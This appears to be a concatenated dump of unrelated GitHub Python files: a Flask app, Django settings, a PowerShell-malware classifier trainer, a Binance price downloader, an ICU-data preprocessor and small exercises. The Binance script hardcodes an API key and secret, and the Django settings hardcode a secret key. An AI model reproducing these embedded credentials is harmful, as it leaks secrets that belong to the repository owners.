os.scandir(file_or_dir) if f.is_dir()]\r\n if '.Ds_Store' in sub_dirs: sub_dirs.remove('.Ds_Store')\r\n\r\n # logging.info(f'Processing directories: {sub_dirs} ')\r\n # for each subdirectory add all_files\r\n for folder in sub_dirs:\r\n _add_all_files(fp, os.path.join(file_or_dir, folder), folder, ext)\r\n\r\n\r\ndef _add_all_files(fp, dir_path, dir_name, ext):\r\n \"\"\"\r\n Supporting function for creating a dataset\r\n \"\"\"\r\n\r\n # logging.info(f'Processing {dir_path}')\r\n\r\n # Get all file names\r\n all_files = [f for f in os.scandir(dir_path)]\r\n valid_files = [f.name for f in all_files if os.path.splitext(f)[1] == f'.{ext}']\r\n\r\n # logging.info(f'Files: {valid_files}')\r\n\r\n if len(valid_files) > 0:\r\n\r\n group = fp.create_group(dir_name)\r\n # logging.info(f'Found the following valid files {valid_files} in {dir_path}')\r\n\r\n for file in tqdm(valid_files, desc=f'Dir: {dir_name}', unit='file'):\r\n events = load_dat_events(os.path.join(dir_path, file))\r\n\r\n group.create_dataset(f\"{file.split('.')[0]}\", data=events, compression=8)\r\n\r\n# create_hdf5_dataset(dataset_name, file_or_dir, ext)\r\n# create_hdf5_dataset('cifar10-dvs.h5','D:/CIFAR10-DVS/CIFAR10-DVS','aedat')\r\n","repo_name":"BEJ97/event-based-dataset-h5","sub_path":"create_h5.py","file_name":"create_h5.py","file_ext":"py","file_size_in_byte":3024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33899980972","text":"from flask import Flask , render_template , send_from_directory , request, json\r\nimport json\r\nimport os \r\napp = Flask(__name__) \r\n\r\n\r\n\r\n\r\ndata = [\r\n {\r\n \"temp\":33,\r\n \"humidity\":22,\r\n \"rain\":98\r\n },\r\n {\r\n \"temp\":45,\r\n \"humidity\":34,\r\n \"rain\":55\r\n },\r\n {\r\n \"temp\":32,\r\n \"humidity\":44,\r\n \"rain\":102\r\n }\r\n]\r\n\r\n@app.route(\"/\") \r\ndef hello_world():\r\n return(render_template(\"./index.html\",data=data))\r\n\r\n@app.route('/')\r\ndef html_page(page_name):\r\n\treturn render_template(page_name) \r\n\r\nif __name__ == \"__main__\":\r\n app.run(debug=True) \r\n","repo_name":"hrishikesh1017/MPMC-Project","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11628491874","text":"# *_* coding : utf-8 *_*\n# 开发人员 : DELL\n# 开发时间 : 2022/3/8 13:18\n# 文件名称 : train.py\n\nfrom data_process import *\nimport sklearn\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import train_test_split\n\n\ndef train_model(model):\n model.fit(train_features, train_label)\n acu_train = model.score(train_features, train_label)\n acu_test = model.score(test_features, test_label)\n y_pred = model.predict(test_features)\n recall = sklearn.metrics.recall_score(test_label, y_pred, average=\"macro\")\n return acu_train, acu_test, recall\n\n\ndef model_save():\n\t'''\n\tsave the trained model\n\t:return:\n\t'''\n\t# 创建文件目录\n\tDir = r'./model/'\n\tpath = Dir + r'model-random-tree2' + r'.pkl'\n\t# joblib.dump(model, path)\n\ttorch.save(model, path)\n\n\nif __name__ == '__main__':\n\n\t# get all infos, csv\n\t# f = open(Dataset, 'a', encoding='utf-8', newline='')\n\t# write = csv.writer(f)\n\t# write.writerow(headers)\n\t# f.close()\n\t#\n\t# print('get malicious datasets......\\n')\n\t# DataSet(path_malicious)\n\t# print('get mixed datasets......\\n')\n\t# DataSet(path_mixed)\n\t# print('get benign datasets......\\n')\n\t# DataSet(path_benign)\n\n\t# read features and labels from csv......\n\tprint('Read features and labels......\\n')\n\tfeatures, labels = ReadData()\n\n\tprint('training......\\n')\n\ttrain_features, test_features, train_label,test_label = train_test_split(features, labels, test_size=0.3, random_state=2300)\n\tmodel = RandomForestClassifier(n_estimators=70, max_features=8, random_state=0)\n\tacu_train, acu_test, recall = train_model(model)\n\tprint('acu_train, acu_test, recall is :')\n\tprint(acu_train, acu_test, recall)\n\tprint('model save......\\n')\n\tmodel_save()\n\tprint('finish')\n","repo_name":"shgal637/Malicious-powershell-Detection","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9337827685","text":"import tabula\r\nimport json\r\n\r\nstartPage = 2\r\nendPage = 20\r\n\r\nrooms = []\r\n\r\nfor pageNumber in range(startPage, endPage + 1):\r\n\r\n\tprint(\"********************************************\")\r\n\tprint(\"\\nReading page : \" + str(pageNumber) + \"\\n\")\r\n\r\n\troom = {}\r\n\r\n\tdf = tabula.read_pdf(\"room_map.pdf\", pages=pageNumber, lattice=True, pandas_options={'header': None})\r\n\r\n\troom['lectureCapacity'] = int(df.iloc[1][1])\r\n\troom['examCapacity'] = int(df.iloc[1][2])\r\n\troom['number'] = df.iloc[0][0].split('\\r')[1]\r\n\troom['type'] = df.iloc[1][0].split('\\r')[1]\r\n\troom['fixedClasses'] = []\r\n\r\n\tfor i in range(3,9):\r\n\r\n\t\tday = []\r\n\r\n\t\tfor j in range(1,11):\r\n\r\n\t\t\tval = str(df.iloc[i][j])\r\n\r\n\t\t\tif(val != \"nan\"):\r\n\t\t\t\tday.append(val.split(\"\\r\")[0])\r\n\r\n\t\t\telse:\r\n\t\t\t\tday.append(\"\")\r\n\r\n\t\troom['fixedClasses'].append(day)\r\n\t\r\n\troom['fixedClasses'].append([\"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\"])\r\n\r\n\tprint(\"\\nParsed Room: \" + room['number'] + \"\\n\")\r\n\tprint(\"********************************************\")\r\n\trooms.append(room)\r\n\r\n# Dump to JSON\r\nf = open('rooms.json', 'w')\r\njson.dump(rooms, f)\r\nf.close()","repo_name":"ID-BPHC/AUGSD-TD","sub_path":"utils/roomGenerator.py","file_name":"roomGenerator.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"48"} +{"seq_id":"16216042016","text":"from numpy.core.numeric import load\nimport pyautogui\nfrom PIL import Image\nimport pytesseract\nimport time\n\n\nclass ComputerEyes:\n\n def __init__(self):\n self.shopText = []\n self.subshots = []\n self.image = Image\n\n def takeScreenshot(self):\n self.image = Image.open(\"screenshot.png\")\n time.sleep(2)\n\n def createSubshots(self):\n i = 0\n left = 483\n top = 1044\n right = 630\n bottom = 1066\n sc = self.image\n while i < 5:\n cropped = sc.crop(\n (left + 200*i, top, right + 200*i, bottom))\n self.subshots.append(cropped)\n cropped.show()\n i = i+1\n\n def processSubshots(self):\n i = 0\n while i < 5:\n self.shopText.append(pytesseract.image_to_string(self.subshots[i]))\n print(i, self.shopText[i])\n i = i+1\n\n def refresh(self):\n self.takeScreenshot()\n self.createSubshots()\n self.processSubshots()\n\n def getSubshots(self):\n self.refresh()\n return self.subshots\n\n # crops image and returns true if it is planning phase\n def checkForRoundStart(self):\n left = 775\n top = 123\n right = 1130\n bottom = 220\n sc = self.image.crop(left, top, right, bottom)\n if pytesseract.image_to_string(sc) == \"Planning\":\n return True\n return False\n","repo_name":"ThinPotato/TfTooEasy","sub_path":"computerEyes.py","file_name":"computerEyes.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"4909686879","text":"\"\"\"Change words into 'pig latin'.\"\"\"\nimport sys\n\n\ndef main():\n \"\"\"Get word or sentence from input and change every word into 'pig latin'.\"\"\"\n print(\"Get word or sentence from input and change every word into 'pig latin'.\\n\")\n\n consonants = [\"B\", \"C\", \"D\", \"F\", \"G\", \"H\", \"J\", \"K\", \"L\", \"M\", \"N\", \"P\", \"Q\", \"R\", \"S\", \"T\", \"V\", \"W\", \"X\", \"Z\"]\n\n while True:\n word_to_change = input(\"Give a word or sentence: (Leave blank to quit)\\n\")\n\n if word_to_change == \"\":\n break\n elif len(word_to_change) < 2:\n print(\"\\n\\nWord too short, let's try another one.\\n\\n\", file=sys.stderr)\n else:\n suff = \"ay\" if (consonants.index(word_to_change[0].upper()) > -1) else \"way\"\n\n pig_latin_word = word_to_change[1:] + word_to_change[0] + suff\n\n print(\"\\n\")\n print(\"{}\".format(pig_latin_word))\n print(\"\\n\")\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"marcin-kopanski/impractical_python_projects","sub_path":"ch1/pig_latin_practice.py","file_name":"pig_latin_practice.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36422714139","text":"from django.contrib import admin\nfrom polls import views as mus_views\nfrom django.urls import re_path\n\nfrom django.contrib import admin\nfrom django.urls import include, path\nfrom rest_framework import routers\n\nfrom polls.views import *\n\nrouter = routers.DefaultRouter()\nrouter.register(r'products', mus_views.ProductViewSet)\nrouter.register(r'categories', mus_views.CategoryViewSet)\nrouter.register(r'subcats', mus_views.SubcategoryViewSet)\nrouter.register(r'users', mus_views.UserViewSet)\nurlpatterns = [\n path('', include(router.urls)),\n path('admin/', admin.site.urls),\n path('subs/', SubcatByCat.as_view()),\n path('product/', ProductsBySubcat.as_view()),\n path('api-auth/', include('rest_framework.urls', namespace='rest_framework')),\n path('api/register/', Registration.as_view(), name='register'),\n path('csrf_cookie', GetCSRFToken.as_view()),\n path('authenticated', Check.as_view()),\n path('logout', LogoutView.as_view()),\n path('login', LoginView.as_view()),\n path('profile', profile.as_view()),\n]\n","repo_name":"DANiCH-E/Music-store","sub_path":"Mus_store/Mus_store/Mus_store/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32384897710","text":"\"\"\"\nDjango settings for ishoparboleda project.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/1.7/topics/settings/\n\nFor the full list of settings and their values, see\nhttps://docs.djangoproject.com/en/1.7/ref/settings/\n\"\"\"\n\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nimport os\nimport socket\nBASE_DIR = os.path.dirname(os.path.dirname(__file__))\n\n\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/1.7/howto/deployment/checklist/\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = 't5cyimm@i*i=@h!@+lj&x4@x125z2kb^iah(_sn&o-0miofdq9'\n\n# SECURITY WARNING: don't run with debug turned on in production!\n\nDEBUG = socket.gethostname() == 'MacBook-Pro-de-Server.local'\n\n\n\nTEMPLATE_DEBUG = DEBUG\n\nALLOWED_HOSTS = ['*']\n\n\n# Application definition\n\nINSTALLED_APPS = (\n 'grappelli',\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'storages', \n #Apps\n 'productos',\n 'clientes',\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.auth.middleware.SessionAuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n)\n\nROOT_URLCONF = 'ishoparboleda.urls'\n\nWSGI_APPLICATION = 'ishoparboleda.wsgi.application'\n\n\n# Database\n# https://docs.djangoproject.com/en/1.7/ref/settings/#databases\n\nif DEBUG:\n DATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.postgresql_psycopg2',\n 'NAME': 'ishoparboleda',\n 'USER': 'postgres',\n 'PASSWORD': os.environ['pass_db'],\n 'HOST': 'localhost',\n 'PORT':'5433',\n }\n }\nelse:\n import dj_database_url\n DATABASES = { 'default' : dj_database_url.config()}\n SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')\n\n # Static asset configuration\n import os\n BASE_DIR = os.path.dirname(os.path.abspath(__file__))\n STATIC_ROOT = 'staticfiles'\n STATIC_URL = '/static/'\n\n STATICFILES_DIRS = (\n os.path.join(BASE_DIR, 'static'),\n )\n\n# import ipdb\n# ipdb.set_trace()\n\n# Internationalization\n# https://docs.djangoproject.com/en/1.7/topics/i18n/\n\nLANGUAGE_CODE = 'es-CO'\n\nTIME_ZONE = 'America/Bogota'\n\n\n\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/1.7/howto/static-files/\n\nSTATIC_URL = '/static/'\n\n\nAWS_STORAGE_BUCKET_NAME = 'ishoparboled'\nAWS_ACCESS_KEY_ID = os.environ['AWS_ACCESS_KEY_ID']\nAWS_SECRET_ACCESS_KEY = os.environ['AWS_SECRET_ACCESS_KEY']\nAWS_S3_CUSTOM_DOMAIN = '%s.s3.amazonaws.com' % AWS_STORAGE_BUCKET_NAME\nSTATIC_URL = \"https://%s/\" % AWS_S3_CUSTOM_DOMAIN\nSTATICFILES_STORAGE = 'storages.backends.s3boto.S3BotoStorage'\n\nTEMPLATE_CONTEXT_PROCESSORS = ( \n \"django.contrib.auth.context_processors.auth\", \n \"django.core.context_processors.request\",\n)\n\n#GRAPPELLI\n\nGRAPPELLI_ADMIN_TITLE = 'ISHOP ARBOLEDA'\n\n","repo_name":"jsariasgeek/ishoparboleda","sub_path":"ishoparboleda/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":3322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7230438648","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon May 18 10:24:52 2020\r\n\r\n@author: Christophe\r\n\"\"\"\r\n\r\n# Processing\r\nimport pandas as pd\r\nimport numpy as np\r\nimport math\r\nfrom datetime import datetime, timedelta\r\nfrom dateutil import parser\r\n\r\nimport time\r\nimport os.path\r\n\r\n\r\nimport warnings\r\nwarnings.filterwarnings(\"ignore\")\r\npd.options.mode.use_inf_as_na = True\r\n\r\n# BINANCE\r\n# standard key to access the website\r\napi_key = \"fUSPSOSq6XtXF7LhioIDKVAxZFJqfZ3ZkFU3CychR1UbbqSmulx6ZasY5bcANoNR\"\r\napi_secret = \"d4aHLi7ABVnIwiXEBo86wcmuIJ4fgsn4wrqbdMHRn5PHLICFWInZMMMJeRtCq188\"\r\n## Loading the necessary library and setup\r\nimport importlib\r\nfrom binance.client import Client\r\nclient = Client(api_key, api_secret)\r\n\r\n\r\n\r\n\r\n## Functions\r\n\r\ndef minutes_of_new_data(symbol, kline_size, data):\r\n \r\n # If data is already available\r\n if len(data) > 0:\r\n # kline = 1d : we get all new data\r\n if (kline_size == \"1d\"): old = parser.parse(data[\"timestamp\"].iloc[-1])\r\n # kline = 1h : we get all new data except if previous data was saved more than 60 weeks ago\r\n elif (kline_size == \"1h\"):\r\n if datetime.today() - parser.parse(data[\"timestamp\"].iloc[-1]) >= timedelta(weeks = 60):\r\n old = datetime.now() - timedelta(weeks = 60)\r\n else: old = parser.parse(data[\"timestamp\"].iloc[-1])\r\n # kline = 15m : we get all new data except if previous data was saved more than 30 weeks ago\r\n elif (kline_size == \"15m\"):\r\n if datetime.now() - parser.parse(data[\"timestamp\"].iloc[-1]) >= timedelta(weeks = 80):\r\n old = datetime.now() - timedelta(weeks = 80)\r\n else: old = parser.parse(data[\"timestamp\"].iloc[-1])\r\n # kline = 5m : we get all new data except if previous data was saved more than 5 weeks ago\r\n elif (kline_size == \"5m\"):\r\n if datetime.now() - parser.parse(data[\"timestamp\"].iloc[-1]) >= timedelta(weeks = 5):\r\n old = datetime.now() - timedelta(weeks = 5)\r\n else: old = parser.parse(data[\"timestamp\"].iloc[-1])\r\n # kline = 1m : we get all new data except if previous data was saved more than 1 week ago\r\n elif (kline_size == \"1m\"):\r\n if datetime.now() - parser.parse(data[\"timestamp\"].iloc[-1]) >= timedelta(weeks = 1):\r\n old = datetime.now() - timedelta(weeks = 1)\r\n else: old = parser.parse(data[\"timestamp\"].iloc[-1]) \r\n \r\n # If no data is available\r\n else:\r\n # 1d : all data is collected\r\n if (kline_size == \"1d\"): old = datetime.strptime('1 Jan 2017', '%d %b %Y')\r\n # 1h : all data starting 60 weeks ago is collected \r\n elif (kline_size == \"1h\"): old = datetime.today() - timedelta(weeks = 60)\r\n # 15m : all data starting 30 weeks ago is collected \r\n elif (kline_size == \"15m\"): old = datetime.today() - timedelta(weeks = 80)\r\n # 5m : all data starting 5 weeks ago is collected \r\n elif (kline_size == \"5m\"): old = datetime.today() - timedelta(weeks = 5)\r\n # 1m : all data starting 1 weeks ago is collected \r\n elif (kline_size == \"1m\"): old = datetime.today() - timedelta(weeks = 1)\r\n\r\n # Getting latest timestamp from binance \r\n new = pd.to_datetime(client.get_klines(symbol=symbol, interval=kline_size)[-2][0], unit='ms')\r\n return old, new\r\n\r\n\r\n\r\n\r\ndef get_all_binance(symbol, kline_size, save = True):\r\n # Filename in folder\r\n filename = '%s-%s-data.csv' % (symbol, kline_size)\r\n \r\n # Creating new df or creating df for file if present \r\n if os.path.isfile(filename): data_df = pd.read_csv(filename)\r\n else: data_df = pd.DataFrame()\r\n \r\n # Getting time bounds (oldest, newest) to collect data\r\n oldest_point, newest_point = minutes_of_new_data(symbol, kline_size, data_df)\r\n delta_min = (newest_point - oldest_point).total_seconds()/60\r\n available_data = math.ceil(delta_min/binsizes[kline_size])\r\n \r\n if oldest_point == datetime.strptime('1 Jan 2017', '%d %b %Y'): print('Downloading all available %s data for %s. Be patient..!' % (kline_size, symbol))\r\n \r\n else: print('Downloading %d minutes of new data available for %s, i.e. %d instances of %s data.' % (delta_min, symbol, available_data, kline_size))\r\n \r\n if (available_data == 0): data = pd.DataFrame(columns = ['timestamp', 'open', 'high', 'low', 'close', 'volume'])\r\n else:\r\n klines = client.get_historical_klines(symbol, kline_size, oldest_point.strftime(\"%d %b %Y %H:%M:%S\"), newest_point.strftime(\"%d %b %Y %H:%M:%S\"))\r\n data = pd.DataFrame(klines).iloc[:,0:6]\r\n data.columns = ['timestamp', 'open', 'high', 'low', 'close', 'volume']\r\n data['timestamp'] = pd.to_datetime(data['timestamp'], unit='ms')\r\n \r\n if len(data_df) > 0:\r\n temp_df = pd.DataFrame(data)\r\n data_df = data_df.append(temp_df)\r\n else: data_df = data\r\n \r\n data_df.set_index('timestamp', inplace=True)\r\n \r\n if save: data_df.to_csv(filename)\r\n print('All caught up..!')\r\n return data_df\r\n\r\n\r\n\r\ndef clean_and_save(df, pair, kline_size):\r\n \r\n df.index = pd.DatetimeIndex(df.index)\r\n df = df.astype('float')\r\n \r\n # Duplicates\r\n duplicates_idx = df.index.duplicated(keep='last')\r\n df = df.loc[~duplicates_idx]\r\n\r\n # Build full index (from kline frequency)\r\n klines = [\"1m\",\"5m\",\"15m\",\"1h\",'1d']\r\n klines_freq = ['1min','5min','15min','1H','1D']\r\n freq = klines_freq[klines.index(kline_size)]\r\n full_index = pd.date_range(start = df.index[0], end = df.index[-1], freq = freq)\r\n \r\n # Missing\r\n print('{} duplicates cleaned {} missing filled.'.format(duplicates_idx.sum(), df['close'].reindex(index = full_index).isna().sum()))\r\n df = df.reindex(index = full_index, method = 'nearest')\r\n df.index.name = 'timestamp'\r\n \r\n \r\n filename = '%s-%s-data.csv' % (pair, kline_size)\r\n df.to_csv(filename)\r\n return df\r\n\r\n\r\n\r\n# ---- Program start -----\r\n\r\n## Parameters\r\nbinsizes = {\"1m\": 1, \"5m\": 5, \"15m\":15, \"1h\": 60, \"1d\": 1440}\r\nbatch_size = 750\r\n\r\nklines = [\"1m\",\"5m\",\"15m\",\"1h\",'1d']\r\nklines_freqs = ['1min','5min','15min','1H','1D']\r\n\r\nkline_size = '15m'\r\npairs = ['ETHBTC','BTCUSDT','ETHUSDT']\r\n\r\n\r\npairs_collection = {}\r\nfor pair in pairs:\r\n try: pairs_collection[pair] = get_all_binance(pair, kline_size)\r\n except:\r\n print('unable to connect to client: loading disk data')\r\n filename = '%s-%s-data.csv' % (pair, kline_size)\r\n pairs_collection[pair] = pd.read_csv(filename)\r\n\r\n\r\npairs_collection = {pair:clean_and_save(pairs_collection[pair], pair, kline_size) for pair in pairs_collection.keys()}","repo_name":"ChristopheDD/ML_Backtesting_utility","sub_path":"import_data.py","file_name":"import_data.py","file_ext":"py","file_size_in_byte":6667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"14523141690","text":"print('=' * 4, 'Desafio ', '=' * 4)\r\n\r\nprint('Olá bem vindo!')\r\nnome = str(input('Digite seu nome: \\n ')).title().title()\r\nsal = float(input('Digite o seu sálario atual:$ '))\r\nif sal > 1250:\r\n nvsal = (sal * 10)/100 + sal\r\n print('{} o seu novo sálario com aumento de 10% é de {:.2f}$'.format(nome, nvsal))\r\nif sal <= 1250:\r\n nvsal1 = (sal * 15)/100 + sal\r\n print('{} o seu novo sálario com aumento de 15% é de {:.2f}$'.format(nome, nvsal1))","repo_name":"ViniciusBrag/Exercicios-Python","sub_path":"Mundo - 1/Desafio034.py","file_name":"Desafio034.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73975057746","text":"import unittest\nimport numpy as np\nimport pandas as pd\nfrom . import Data\nfrom ClassiPyGRB import SWIFT\nfrom importlib import resources\n\n\nclass TestData(unittest.TestCase):\n swift = SWIFT(res=10000, root_path=None)\n\n def test_query(self):\n df = self.swift.obtain_data(name='GRB180115A')\n with resources.path(Data, 'GRB180115A_sn5_10s.h5') as file:\n df2 = pd.read_hdf(file, key='GRB180115A')\n self.assertTrue(df.equals(df2))\n\n def test_query_invalid_name(self):\n with self.assertRaises(RuntimeError):\n self.swift.obtain_data(name='GRB010101')\n\n def test_download_invalid_name(self):\n with self.assertRaises(RuntimeError):\n self.swift.single_download(name='GRB010101')\n\n def test_limits_intervals(self):\n limits = self.swift.duration_limits(name='GRB061210')\n self.assertListEqual([list(item) for item in limits], [['GRB061210', '-0.004', '89.392']])\n limits = self.swift.duration_limits(name='GRB061210', t=50)\n self.assertListEqual([list(item) for item in limits], [['GRB061210', '6.576', '56.004']])\n limits1, limits2 = self.swift.duration_limits(name=('GRB061210', 'GRB060614'), t=50)\n self.assertListEqual([list(item) for item in limits1], [['GRB061210', '6.576', '56.004']])\n self.assertListEqual([list(item) for item in limits2], [['GRB060614', '21.116', '64.352']])\n limits = self.swift.duration_limits(name='GRB061210000', t=50)\n self.assertListEqual([list(item) for item in limits], [])\n\n def test_durations(self):\n dur = self.swift.total_durations(names='GRB060614')\n assert np.allclose(dur, np.array([180.576]))\n dur = self.swift.total_durations(names=['GRB061210'])\n assert np.allclose(dur, [89.396])\n dur = self.swift.total_durations(names=('GRB061210', 'GRB060614'), t=50)\n assert np.allclose(dur, [49.428, 43.236])\n with self.assertRaises(RuntimeError):\n self.swift.total_durations(names='GRB010101')\n\n def test_redshifts(self):\n z = self.swift.redshifts(name='GRB181020A')\n self.assertListEqual([list(item) for item in z], [['GRB181020A', '2.938']])\n z1, z2 = self.swift.redshifts(name=['GRB220611A', 'GRB220521A'])\n self.assertListEqual([list(item) for item in [z1]], [['GRB220611A', '2.3608']])\n self.assertListEqual([list(item) for item in [z2]], [['GRB220521A', '5.6']])\n z = self.swift.redshifts(name=['GRB010101'])\n self.assertListEqual([list(item) for item in z], [['GRB010101', None]])\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"KenethGarcia/ClassiPyGRB","sub_path":"tests/test_data_query.py","file_name":"test_data_query.py","file_ext":"py","file_size_in_byte":2619,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"48"} +{"seq_id":"19208363113","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jun 5 23:34:05 2020\r\n\r\n@author: HP\r\n\"\"\"\r\n\r\n\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jun 5 01:37:59 2020\r\n\r\n@author: HP\r\n\"\"\"\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom sklearn.experimental import enable_iterative_imputer\r\nfrom sklearn.impute import IterativeImputer\r\nfrom sklearn.model_selection import KFold\r\nfrom sklearn.svm import SVC\r\nfrom sklearn.svm import SVR\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom sklearn.impute import SimpleImputer\r\nimport sklearn.metrics as metrics\r\nimport math\r\nfrom sklearn.model_selection import train_test_split\r\n\r\n##################################\r\n# Preprocessing of training data #\r\n##################################\r\n\r\n# Read in data\r\ntrain_features = pd.read_csv(\"train_features.csv\")\r\ntest_features = pd.read_csv(\"test_features.csv\")\r\ntrain_labels = pd.read_csv(\"train_labels.csv\")\r\n\r\n# extract unique pids\r\nall_pids = train_features[\"pid\"].unique()\r\nall_pids_test = test_features[\"pid\"].unique()\r\n\r\n# partition data into rare and common\r\nheaders = list(train_features)\r\nrare = []\r\ncommon = []\r\ntot = train_features.shape[0] + test_features.shape[0] # total entries per column\r\nfor head in headers:\r\n # get number of missing values in this column\r\n missing = train_features[head].isna().sum() + test_features[head].isna().sum()\r\n if(missing/tot >= 0.9):\r\n rare.append(head)\r\n else: \r\n common.append(head)\r\n\r\n# impute and compute features for each patient\r\nimp = IterativeImputer()\r\nfeatures = [\"pid\", \"Age\"] + rare\r\n\r\ncommon.remove(\"pid\")\r\ncommon.remove(\"Age\")\r\n\r\nfor c in common:\r\n features.append(c + \"_mean\")\r\n features.append(c + \"_min\")\r\n features.append(c + \"_max\")\r\n features.append(c + \"_median\")\r\n \r\n \r\nX_feat = pd.DataFrame(index = all_pids, data = {\"pid\": all_pids}, columns = features)\r\n\r\nskip = False\r\nfor pid in all_pids:\r\n patient_data = train_features[train_features.pid == pid]\r\n data_update = {'Age': np.min(patient_data[\"Age\"])}\r\n # can always do this part \r\n for head in rare:\r\n missing = patient_data[head].isna().sum()\r\n if(missing > 11):\r\n data_update.update({head: -1}) # no test conducted\r\n else:\r\n data_update.update({head: 1}) # test conducted\r\n patient_data[head] = patient_data[head].fillna(0)\r\n \r\n # check whether we can impute this patient's common data (i.e. no empty columns)\r\n for head in common:\r\n missing = patient_data[head].isna().sum()\r\n if(missing > 11):\r\n # can't impute for now\r\n skip = True\r\n break\r\n \r\n if(skip):\r\n skip = False\r\n else:\r\n patient_data = pd.DataFrame(data = imp.fit_transform(np.array(patient_data)), columns = headers)\r\n # calculate some useful statistics\r\n for head in common:\r\n dic = {head + \"_mean\": np.mean(patient_data[head]),\r\n head + \"_min\": np.min(patient_data[head]),\r\n head + \"_max\": np.max(patient_data[head]),\r\n head + \"_median\": np.median(patient_data[head])}\r\n data_update.update(dic) \r\n \r\n patient_update = pd.DataFrame(index = {pid}, data = data_update, columns = features)\r\n X_feat.update(patient_update)\r\n print(pid) \r\n\r\n############################\r\n# Preprocess test_features #\r\n############################\r\nTest_feat = pd.DataFrame(index = all_pids_test, data = {\"pid\": all_pids_test}, columns = features)\r\n\r\nfor pid in all_pids_test:\r\n patient_data = train_features[train_features.pid == pid]\r\n data_update = {'Age': np.min(patient_data[\"Age\"])}\r\n # can always do this part \r\n for head in rare:\r\n missing = patient_data[head].isna().sum()\r\n if(missing > 11):\r\n data_update.update({head: -1}) # no test conducted\r\n else:\r\n data_update.update({head: 1}) # test conducted\r\n patient_data[head] = patient_data[head].fillna(0)\r\n \r\n # check whether we can impute this patient's common data (i.e. no empty columns)\r\n for head in common:\r\n missing = patient_data[head].isna().sum()\r\n if(missing > 11):\r\n # can't impute for now\r\n skip = True\r\n break\r\n \r\n if(skip):\r\n skip = False\r\n else:\r\n patient_data = pd.DataFrame(data = imp.fit_transform(np.array(patient_data)), columns = headers)\r\n # calculate some useful statistics\r\n for head in common:\r\n dic = {head + \"_mean\": np.mean(patient_data[head]),\r\n head + \"_min\": np.min(patient_data[head]),\r\n head + \"_max\": np.max(patient_data[head]),\r\n head + \"_median\": np.median(patient_data[head])}\r\n data_update.update(dic) \r\n \r\n patient_update = pd.DataFrame(index = {pid}, data = data_update, columns = features)\r\n Test_feat.update(patient_update)\r\n print(pid)\r\n \r\n####################################################### \r\n# Standardize and set missing values to overall means #\r\n#######################################################\r\nscaler = StandardScaler()\r\nframes = [X_feat, Test_feat]\r\nall_data = pd.concat(frames)\r\nscaled = scaler.fit_transform(all_data.drop(\"pid\", axis = 1))\r\nscaled = pd.DataFrame(index = all_data.pid, data = scaled, columns = features)\r\n\r\nX_feat.update(scaled)\r\nX_feat = X_feat.fillna(0)\r\n\r\npd.DataFrame(X_feat).to_csv(\"X_feat_standardized.csv\", index=False, header=True) \r\n\r\nTest_feat.update(scaled)\r\nTest_feat = Test_feat.fillna(0)\r\n\r\npd.DataFrame(Test_feat).to_csv(\"Test_feat_standardized.csv\", index=False, header=True) \r\n\r\n#################################\r\n# Model selection via KFold CV #\r\n#################################\r\ntests_to_predict = [\"LABEL_BaseExcess\", \"LABEL_Fibrinogen\", \"LABEL_AST\", \"LABEL_Alkalinephos\", \"LABEL_Bilirubin_total\", \"LABEL_Lactate\", \"LABEL_TroponinI\", \"LABEL_SaO2\", \"LABEL_Bilirubin_direct\", \"LABEL_EtCO2\"]\r\nsepsis = [\"LABEL_Sepsis\"]\r\nvital_signs_to_predict = [\"LABEL_RRate\", \"LABEL_ABPm\", \"LABEL_SpO2\", 